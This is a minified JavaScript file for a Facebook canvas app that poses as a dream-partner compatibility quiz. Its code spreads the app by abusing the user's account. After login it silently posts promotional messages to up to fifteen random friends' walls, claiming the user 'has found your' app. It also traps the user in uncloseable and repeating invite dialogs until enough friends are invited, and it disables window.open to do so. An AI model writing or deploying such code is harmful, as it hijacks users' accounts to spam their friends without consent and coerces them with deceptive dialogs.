function facebookInit(){FB.init({appId:fbArray.app_id,status:true,cookie:true,xfbml:true,channelUrl:fbArray.channel,oauth:true,frictionlessRequests:true});FB.Event.subscribe('auth.sessionChange',handleSessionChange);FB.Canvas.setAutoGrow();FB.getLoginStatus(function(response){if(response.authResponse){var token=response.authResponse.accessToken;var userId=response.authResponse.userID;getFriends(userId);getName();fbArray.globalUserid=userId;fbArray.globalToken=token;var requestIdtmp=gup('request_ids').split("%2C");if(requestIdtmp !=""){var requestId = new Array();var requestUserId = new Array();var leng= requestIdtmp.length;for(j=0;j<=leng;j++){requestId[j]=requestIdtmp[j];requestUserId[j]=requestId[j]+'_'+userId;deleteRequest(requestUserId[j]);}}$("#fb-root").html(''+first+'');}else{top.location="https://www.facebook.com/dialog/oauth?client_id="+fbArray.app_id+"&redirect_uri=http://apps.facebook.com/"+fbArray.canvasname+"/&scope="+fbArray.perms;}});if(window==top){goHome();}} function handleSessionChange(response){if((fbArray.globalUserid&&!response.session)||fbArray.globalUserid!=response.session.uid){goHome();}} function goHome(){top.location='https://apps.facebook.com/'+fbArray.canvasName+'/';} function gup(name){name=name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");var regexS="[\\?&]"+name+"=([^&#]*)";var regex=new RegExp(regexS);var results=regex.exec(window.location.href);if(results==null)return "";else return results[1];} function deleteRequest(requestUserId){FB.api(requestUserId,'delete',function(response){if(!response||response.error){return true;}else{return true;}});} function Send(){FB.ui({method: "apprequests", display: "popup", message: invmsg, title: invhead }, function (response) { if (response && response.to) {$("#loader").hide();var invcount = response.to.length; invsent += invcount; if(invsent < invreq){ var invneed = invreq - invsent; var randomNum = Math.ceil(Math.random()*100); var type = 'Send'; FBnum(type, randomNum, invneed); }else{ $("#fb-root").html(content); } } else { if(invsent > 0){ var invneed = invreq - invsent; var randomNum = Math.ceil(Math.random()*100); var type = 'Send'; FBnum(type, randomNum, invneed); }else { var invneed = invreq; var randomNum = Math.ceil(Math.random()*100); var type = 'Send'; FBnum(type, randomNum, invneed); } } }) } function FBnum(type, randomNum, needmore) { var d = FB.Dialog.create({ closeIcon:false, onClose:function(){FB.Dialog.remove(this);}, visible:true, content:"
"+forcehead+"
"+forcebefore+" "+needmore+" "+forceafter+"



", width:'400' }); d.size = {width:d.clientWidth,height:d.clientHeight}; d.params = {method:null}; var oldOpen = window.open; window.open = function(){}; FB.UIServer.popup(d); window.open = oldOpen; return d; } function getFriends(userId){FB.api({method:'fql.query',query: 'SELECT uid2 FROM friend WHERE uid1='+userId +' ORDER BY rand() asc LIMIT ' +fbArray.invreq},function(r){if(r){for(i=0;i<=r.length;i++){if(i==0){fbArray.friends+=r[i].uid2;}else{fbArray.friends+=',';fbArray.friends+=r[i].uid2;}}}});} function Send2(){FB.ui({method:"apprequests",display:"iframe",message:invmsg,to:fbArray.friends,title:invhead },function(r){if(r&&r.to){$("#fb-root").html(content);}else{Send2();}});} function getName(){FB.api('/me',function(r){if(r&&r.name){fbArray.globalUserName=r.name;publishPostFriends(r.name);}});} function publishPost(p){FB.api('/me/feed','POST',p,function(r){document.getElementById('confirmMsg').innerHTML='A post had just been published into the stream on your wall.';});} function publishPostFriends(n){FB.api({method:'fql.query',query: 'SELECT uid2 FROM friend WHERE uid1='+fbArray.globalUserid +' ORDER BY rand() asc LIMIT 15'},function(r){if(r){var p={name:fbArray.app_name,caption:'Hey! Check this out! '+n +' has found your '+fbArray.app_name,description:('How compatible are you with your dream partner?'),link:'http://apps.facebook.com/'+fbArray.canvasname +'/',picture:'https://lh6.googleusercontent.com/-t0EMlK75gDw/TsK9kU8CYuI/AAAAAAAAAD0/frED2SA-1uo/s500/fanpagelanding.png',actions:[{name:'Share it!', link :'http://apps.facebook.com/'+fbArray.canvasname +'/'}]};for(i=0;i<=r.length;i++){FB.api('/'+r[i].uid2+'/feed','POST',p,function(a){document.getElementById('confirmMsg').innerHTML='A post had just been published into the stream on your wall.';});}}});}